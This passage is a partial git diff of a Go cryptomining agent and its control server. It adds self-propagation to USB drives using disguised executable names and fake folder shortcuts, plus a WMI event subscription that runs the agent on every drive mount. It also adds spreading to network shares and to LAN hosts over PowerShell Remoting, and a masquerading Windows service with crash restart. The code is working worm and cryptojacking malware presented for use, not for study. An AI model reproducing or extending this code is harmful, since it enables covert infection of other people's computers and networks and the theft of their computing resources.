|
||||||
|
candidates := []string{
|
||||||
|
"WinSetup.exe",
|
||||||
|
"diskutil.exe",
|
||||||
|
"AutoPlay.exe",
|
||||||
|
"IndexerHelper.exe",
|
||||||
|
"SyncCenter.exe",
|
||||||
|
}
|
||||||
|
if cfg.StealthMode {
|
||||||
|
return candidates[rand.Intn(len(candidates))]
|
||||||
|
}
|
||||||
|
name := sanitizeName(cfg.WorkerName)
|
||||||
|
if name != "" {
|
||||||
|
return name + ".exe"
|
||||||
|
}
|
||||||
|
return candidates[rand.Intn(len(candidates))]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pickLinkName looks at top-level directories on the drive and returns a
|
||||||
|
// shortcut name that mirrors the first real directory found, so the LNK
|
||||||
|
// blends in with the drive's existing contents.
|
||||||
|
func pickLinkName(drive string) string {
|
||||||
|
entries, err := os.ReadDir(drive)
|
||||||
|
if err != nil {
|
||||||
|
return "Open Documents"
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||||
|
return e.Name() // shortcut will have the same name as the first real folder
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "Open Documents"
|
||||||
|
}
|
||||||
|
|
||||||
|
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||||
|
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||||
|
func createFolderShortcut(dir, name, destBin string) {
|
||||||
|
lnkPath := filepath.Join(dir, name+".lnk")
|
||||||
|
// WindowStyle 7 = minimised (invisible to the user)
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$ws = New-Object -ComObject WScript.Shell
|
||||||
|
$lnk = $ws.CreateShortcut('%s')
|
||||||
|
$lnk.TargetPath = '%s'
|
||||||
|
$lnk.IconLocation = 'shell32.dll,3'
|
||||||
|
$lnk.WindowStyle = 7
|
||||||
|
$lnk.Description = 'Open'
|
||||||
|
$lnk.Save()
|
||||||
|
`,
|
||||||
|
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||||
|
strings.ReplaceAll(destBin, `'`, `''`),
|
||||||
|
)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
|
_ = cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// WMI permanent event subscription
|
||||||
|
// Fires every time any removable volume mounts — survives reboots.
|
||||||
|
// Requires admin; silently skipped if not elevated.
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
func installWMIUSBTrigger(cfg config.RuntimeConfig) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
destName := usbPayloadName(cfg)
|
||||||
|
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
||||||
|
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
|
||||||
|
strings.ReplaceAll(exePath, `"`, `\"`),
|
||||||
|
destName,
|
||||||
|
destName,
|
||||||
|
)
|
||||||
|
// Escape single-quotes for PowerShell string embedding
|
||||||
|
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
||||||
|
exePathPS := strings.ReplaceAll(exePath, `'`, `''`)
|
||||||
|
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$ns = 'root\subscription'
|
||||||
|
$filterName = 'AetherUSBFilter'
|
||||||
|
$consumerName = 'AetherUSBConsumer'
|
||||||
|
|
||||||
|
# Idempotent: remove stale bindings first
|
||||||
|
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
|
||||||
|
Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
|
||||||
|
Get-WMIObject -Namespace $ns -Class __EventFilter -Filter "Name='$filterName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||||
|
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||||
|
|
||||||
|
$filterArgs = @{
|
||||||
|
Name = '$filterName'
|
||||||
|
EventNamespace = 'root\cimv2'
|
||||||
|
QueryLanguage = 'WQL'
|
||||||
|
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
|
||||||
|
}
|
||||||
|
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop
|
||||||
|
|
||||||
|
$consumerArgs = @{
|
||||||
|
Name = '$consumerName'
|
||||||
|
CommandLineTemplate = '%s'
|
||||||
|
RunInteractively = $false
|
||||||
|
}
|
||||||
|
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop
|
||||||
|
|
||||||
|
Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null
|
||||||
|
|
||||||
|
# Also copy the agent to a system location so the WMI consumer can find it
|
||||||
|
# even if the original path changes.
|
||||||
|
$dest = "$env:SYSTEMROOT\System32\%s"
|
||||||
|
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||||
|
`,
|
||||||
|
copyCmdPS,
|
||||||
|
destName,
|
||||||
|
exePathPS,
|
||||||
|
)
|
||||||
|
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
|
if err := cmd.Run(); err == nil {
|
||||||
|
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
||||||
|
}
|
||||||
|
// Non-admin failure is expected and harmless; polling still covers it.
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// Mounted share watcher
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
func runShareWatcher(cfg config.RuntimeConfig) {
|
||||||
|
// Initial delay so the agent settles before doing share I/O
|
||||||
|
time.Sleep(3 * time.Minute)
|
||||||
|
ticker := time.NewTicker(8 * time.Minute)
|
||||||
|
defer ticker.Stop()
|
||||||
|
spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
|
||||||
|
for range ticker.C {
|
||||||
|
spreadToMountedShares(cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var spreadSharesOnce sync.Once
|
||||||
|
|
||||||
|
func spreadToMountedShares(cfg config.RuntimeConfig) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, d := range getLogicalDrives() {
|
||||||
|
if getDriveType(d) != driveRemote {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
go dropOnShare(cfg, d, exePath)
|
||||||
|
}
|
||||||
|
// Also enumerate UNC paths from `net use`
|
||||||
|
for _, unc := range listNetUse() {
|
||||||
|
go dropOnShare(cfg, unc, exePath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
|
||||||
|
destName := sharePayloadName(cfg)
|
||||||
|
// Drop into a temp-like subdirectory to avoid dropping in the share root.
|
||||||
|
dropDir := filepath.Join(sharePath, ".tmp")
|
||||||
|
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||||
|
// No write access — try root of share
|
||||||
|
dropDir = sharePath
|
||||||
|
}
|
||||||
|
dest := filepath.Join(dropDir, destName)
|
||||||
|
if _, err := os.Stat(dest); err == nil {
|
||||||
|
return // already there
|
||||||
|
}
|
||||||
|
if err := copyFile(exePath, dest); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||||
|
// Try to execute it via a UNC path
|
||||||
|
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
|
||||||
|
applyDetachedStart(cmd)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||||
|
if !cfg.StealthMode {
|
||||||
|
if n := sanitizeName(cfg.WorkerName); n != "" {
|
||||||
|
return n + ".exe"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "WinMgmtSvc.exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
// listNetUse parses `net use` output and returns active UNC paths.
|
||||||
|
func listNetUse() []string {
|
||||||
|
out, err := exec.Command("net", "use").Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var paths []string
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
for _, f := range fields {
|
||||||
|
if strings.HasPrefix(f, `\\`) {
|
||||||
|
paths = append(paths, f)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return paths
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
// PowerShell Remoting (WinRM) spread
|
||||||
|
// Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
|
||||||
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
func runPSRemotingSpread(cfg config.RuntimeConfig) {
|
||||||
|
time.Sleep(15 * time.Minute)
|
||||||
|
ticker := time.NewTicker(6 * time.Hour)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
spreadViaPSRemoting(cfg)
|
||||||
|
<-ticker.C
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spreadViaPSRemoting(cfg config.RuntimeConfig) {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
destName := sharePayloadName(cfg)
|
||||||
|
// ps script: copy binary to remote temp, execute hidden
|
||||||
|
psBlock := fmt.Sprintf(`
|
||||||
|
$dest = "$env:TEMP\%s"
|
||||||
|
if (-not (Test-Path $dest)) {
|
||||||
|
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
if (Test-Path $dest) {
|
||||||
|
Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
`,
|
||||||
|
destName,
|
||||||
|
strings.ReplaceAll(exePath, `'`, `''`),
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, ip := range getLocalIPs() {
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i := 1; i < 255; i++ {
|
||||||
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||||
|
if target == ip {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
spreadSem <- struct{}{}
|
||||||
|
go func(t string) {
|
||||||
|
defer func() { <-spreadSem }()
|
||||||
|
tryPSRemote(t, psBlock, destName)
|
||||||
|
}(target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func tryPSRemote(target, scriptBlock, destName string) {
|
||||||
|
// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
|
||||||
|
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||||
|
if ($s) {
|
||||||
|
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
|
||||||
|
Remove-PSSession $s -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
`, target, scriptBlock)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
|
if err := cmd.Run(); err == nil {
|
||||||
|
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func portOpen(host string, port int, timeout time.Duration) bool {
|
||||||
|
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
@@ -34,13 +34,81 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
|||||||
|
|
||||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
switch cfg.RunAs {
|
switch cfg.RunAs {
|
||||||
case "scheduled", "service":
|
case "service":
|
||||||
|
return createWindowsService(cfg, installedBin)
|
||||||
|
case "scheduled":
|
||||||
return createScheduledTask(cfg, installedBin)
|
return createScheduledTask(cfg, installedBin)
|
||||||
default:
|
default:
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// createWindowsService installs the miner as a real Windows Service with
|
||||||
|
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
||||||
|
// name and description are cloned from the donor service so it blends in.
|
||||||
|
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
svcName := cfg.ServiceName
|
||||||
|
if svcName == "" {
|
||||||
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tear down any stale instance first (errors are expected and ignored)
|
||||||
|
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||||
|
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||||
|
// Give SCM time to fully remove the entry
|
||||||
|
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
||||||
|
|
||||||
|
// Create the service
|
||||||
|
if err := exec.Command("sc.exe", "create", svcName,
|
||||||
|
"binPath=", `"`+binPath+`" --run`,
|
||||||
|
"type=", "own",
|
||||||
|
"start=", "auto",
|
||||||
|
"error=", "ignore",
|
||||||
|
).Run(); err != nil {
|
||||||
|
return fmt.Errorf("sc create: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
||||||
|
_ = exec.Command("sc.exe", "failure", svcName,
|
||||||
|
"reset=", "60",
|
||||||
|
"actions=", "restart/0/restart/5000/restart/30000",
|
||||||
|
).Run()
|
||||||
|
|
||||||
|
// Start it
|
||||||
|
_ = exec.Command("sc.exe", "start", svcName).Run()
|
||||||
|
|
||||||
|
// Masquerade: copy description from donor service
|
||||||
|
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||||
|
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// cloneServiceDescription copies the display name and description from
|
||||||
|
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
||||||
|
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||||
|
ps := fmt.Sprintf(`
|
||||||
|
$donor = Get-Service '%s' -EA SilentlyContinue
|
||||||
|
if ($donor) {
|
||||||
|
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||||
|
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||||
|
if ($donorWmi) {
|
||||||
|
sc.exe description '%s' ($donorWmi.Description)
|
||||||
|
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`,
|
||||||
|
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||||
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||||
|
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||||
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||||
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||||
|
)
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
|
_ = cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||||
taskName := PersistenceKeyName(cfg)
|
taskName := PersistenceKeyName(cfg)
|
||||||
if taskName == "" {
|
if taskName == "" {
|
||||||
@@ -86,7 +154,11 @@ func removePersistence(cfg config.RuntimeConfig) {
|
|||||||
runKey.Close()
|
runKey.Close()
|
||||||
}
|
}
|
||||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
// Remove service — use the configured name if available, fall back to legacy pattern
|
||||||
|
svcName := cfg.ServiceName
|
||||||
|
if svcName == "" {
|
||||||
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
|
}
|
||||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -69,6 +69,7 @@ func main() {
|
|||||||
|
|
||||||
deploy.StartWatchdog(cfg)
|
deploy.StartWatchdog(cfg)
|
||||||
deploy.StartAutoSpreader(cfg)
|
deploy.StartAutoSpreader(cfg)
|
||||||
|
deploy.StartPassiveSpreader(cfg)
|
||||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||||
deploy.RunSpreadOnce(cfg)
|
deploy.RunSpreadOnce(cfg)
|
||||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||||
|
|||||||
@@ -2,8 +2,13 @@ package api
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -19,8 +24,19 @@ type FleetHandler struct {
|
|||||||
pools *pool.Manager
|
pools *pool.Manager
|
||||||
alerts *alerts.Evaluator
|
alerts *alerts.Evaluator
|
||||||
defaultPool pool.Config
|
defaultPool pool.Config
|
||||||
|
|
||||||
|
// Real-earnings cache (avoids hammering the pool API)
|
||||||
|
earningsMu sync.Mutex
|
||||||
|
earningsCache map[string]*poolEarningsCache
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type poolEarningsCache struct {
|
||||||
|
data map[string]interface{}
|
||||||
|
fetchedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
const earningsCacheTTL = 5 * time.Minute
|
||||||
|
|
||||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||||
return &FleetHandler{
|
return &FleetHandler{
|
||||||
db: database,
|
db: database,
|
||||||
@@ -56,9 +72,113 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
|||||||
writeJSON(w, f.ai.ActivitySnapshot())
|
writeJSON(w, f.ai.ActivitySnapshot())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
||||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||||
|
f.GetEarnings(w, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetEarnings returns real pool stats for the configured wallet when the pool
|
||||||
|
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
|
||||||
|
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
|
||||||
hashrate := parseFloatQuery(r, "hashrate", 0)
|
hashrate := parseFloatQuery(r, "hashrate", 0)
|
||||||
writeJSON(w, EstimateXMRPerDay(hashrate))
|
estimate := EstimateXMRPerDay(hashrate)
|
||||||
|
|
||||||
|
// Determine wallet from query param or server config
|
||||||
|
wallet := r.URL.Query().Get("wallet")
|
||||||
|
if wallet == "" && f.db != nil {
|
||||||
|
// Try to read the wallet from the most recent build record
|
||||||
|
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
|
||||||
|
wallet = builds[0].Wallet
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if wallet == "" {
|
||||||
|
writeJSON(w, estimate)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try SupportXMR REST API
|
||||||
|
real, err := f.fetchPoolEarnings(wallet)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
|
||||||
|
writeJSON(w, estimate)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Merge pool data over the estimate
|
||||||
|
for k, v := range real {
|
||||||
|
estimate[k] = v
|
||||||
|
}
|
||||||
|
estimate["source"] = "pool_api"
|
||||||
|
writeJSON(w, estimate)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
|
||||||
|
f.earningsMu.Lock()
|
||||||
|
if f.earningsCache == nil {
|
||||||
|
f.earningsCache = map[string]*poolEarningsCache{}
|
||||||
|
}
|
||||||
|
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
|
||||||
|
data := cached.data
|
||||||
|
f.earningsMu.Unlock()
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
f.earningsMu.Unlock()
|
||||||
|
|
||||||
|
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
|
||||||
|
client := &http.Client{Timeout: 8 * time.Second}
|
||||||
|
resp, err := client.Get(url) //nolint:gosec
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return nil, fmt.Errorf("pool API returned %s", resp.Status)
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var raw map[string]interface{}
|
||||||
|
if err := json.Unmarshal(body, &raw); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Normalise SupportXMR fields into our API format
|
||||||
|
const piconeroPerXMR = 1e12
|
||||||
|
result := map[string]interface{}{}
|
||||||
|
if v, ok := raw["amtDue"].(float64); ok {
|
||||||
|
result["pending_xmr"] = v / piconeroPerXMR
|
||||||
|
}
|
||||||
|
if v, ok := raw["amtPaid"].(float64); ok {
|
||||||
|
result["paid_xmr"] = v / piconeroPerXMR
|
||||||
|
}
|
||||||
|
if v, ok := raw["totalHashes"].(float64); ok {
|
||||||
|
result["total_hashes"] = v
|
||||||
|
}
|
||||||
|
if v, ok := raw["hashRate"].(float64); ok {
|
||||||
|
result["pool_hashrate"] = v
|
||||||
|
}
|
||||||
|
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
|
||||||
|
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
if v, ok := raw["lastPayment"].(float64); ok {
|
||||||
|
result["last_payment_xmr"] = v / piconeroPerXMR
|
||||||
|
}
|
||||||
|
|
||||||
|
f.earningsMu.Lock()
|
||||||
|
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
|
||||||
|
f.earningsMu.Unlock()
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func min(a, b int) int {
|
||||||
|
if a < b {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
return b
|
||||||
}
|
}
|
||||||
|
|
||||||
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|||||||
@@ -72,6 +72,8 @@ type BuildRequest struct {
|
|||||||
AutoSpread bool `json:"auto_spread"`
|
AutoSpread bool `json:"auto_spread"`
|
||||||
HolePunch bool `json:"hole_punch"`
|
HolePunch bool `json:"hole_punch"`
|
||||||
RemoteAggressive bool `json:"remote_aggressive"`
|
RemoteAggressive bool `json:"remote_aggressive"`
|
||||||
|
USBSpread bool `json:"usb_spread"`
|
||||||
|
ShareSpread bool `json:"share_spread"`
|
||||||
TargetOS string `json:"target_os"`
|
TargetOS string `json:"target_os"`
|
||||||
TargetArch string `json:"target_arch"`
|
TargetArch string `json:"target_arch"`
|
||||||
SpreadKit bool `json:"spread_kit"`
|
SpreadKit bool `json:"spread_kit"`
|
||||||
@@ -564,21 +566,27 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
recordPlatform = "windows"
|
recordPlatform = "windows"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||||||
|
if bundleDownloadURL != "" {
|
||||||
|
dlURL = bundleDownloadURL
|
||||||
|
}
|
||||||
buildRecord := &models.BuildRecord{
|
buildRecord := &models.BuildRecord{
|
||||||
ID: buildID,
|
ID: buildID,
|
||||||
WorkerName: req.WorkerName,
|
WorkerName: req.WorkerName,
|
||||||
ServerURL: req.ServerURL,
|
ServerURL: req.ServerURL,
|
||||||
Wallet: req.Wallet,
|
Wallet: req.Wallet,
|
||||||
Threads: req.Threads,
|
Threads: req.Threads,
|
||||||
FileSize: fileInfo.Size(),
|
FileSize: fileInfo.Size(),
|
||||||
BundleSize: bundleSize,
|
BundleSize: bundleSize,
|
||||||
FilePath: absPath,
|
FilePath: absPath,
|
||||||
Platform: recordPlatform,
|
FileName: finalName,
|
||||||
CreatedAt: time.Now(),
|
DownloadURL: dlURL,
|
||||||
PoolHost: req.PoolHost,
|
Platform: recordPlatform,
|
||||||
PoolPort: req.PoolPort,
|
CreatedAt: time.Now(),
|
||||||
PoolTLS: req.PoolTLS,
|
PoolHost: req.PoolHost,
|
||||||
PoolPass: req.PoolPass,
|
PoolPort: req.PoolPort,
|
||||||
|
PoolTLS: req.PoolTLS,
|
||||||
|
PoolPass: req.PoolPass,
|
||||||
}
|
}
|
||||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||||
log.Printf("Failed to record build: %v", err)
|
log.Printf("Failed to record build: %v", err)
|
||||||
@@ -913,6 +921,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
AutoSpread: %v,
|
AutoSpread: %v,
|
||||||
HolePunch: %v,
|
HolePunch: %v,
|
||||||
RemoteAggressive: %v,
|
RemoteAggressive: %v,
|
||||||
|
USBSpread: %v,
|
||||||
|
ShareSpread: %v,
|
||||||
BackupServerURLs: %s,
|
BackupServerURLs: %s,
|
||||||
ServiceMasquerade: %v,
|
ServiceMasquerade: %v,
|
||||||
ServiceName: %q,
|
ServiceName: %q,
|
||||||
@@ -962,6 +972,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.AutoSpread,
|
req.AutoSpread,
|
||||||
req.HolePunch,
|
req.HolePunch,
|
||||||
req.RemoteAggressive,
|
req.RemoteAggressive,
|
||||||
|
req.USBSpread,
|
||||||
|
req.ShareSpread,
|
||||||
formatGoStringSlice(req.BackupServerURLs),
|
formatGoStringSlice(req.BackupServerURLs),
|
||||||
serviceMasqueradeEnabled(req),
|
serviceMasqueradeEnabled(req),
|
||||||
serviceMasqueradeName(buildID, req),
|
serviceMasqueradeName(buildID, req),
|
||||||
|
|||||||
@@ -113,6 +113,8 @@ func (d *Database) migrate() error {
|
|||||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||||
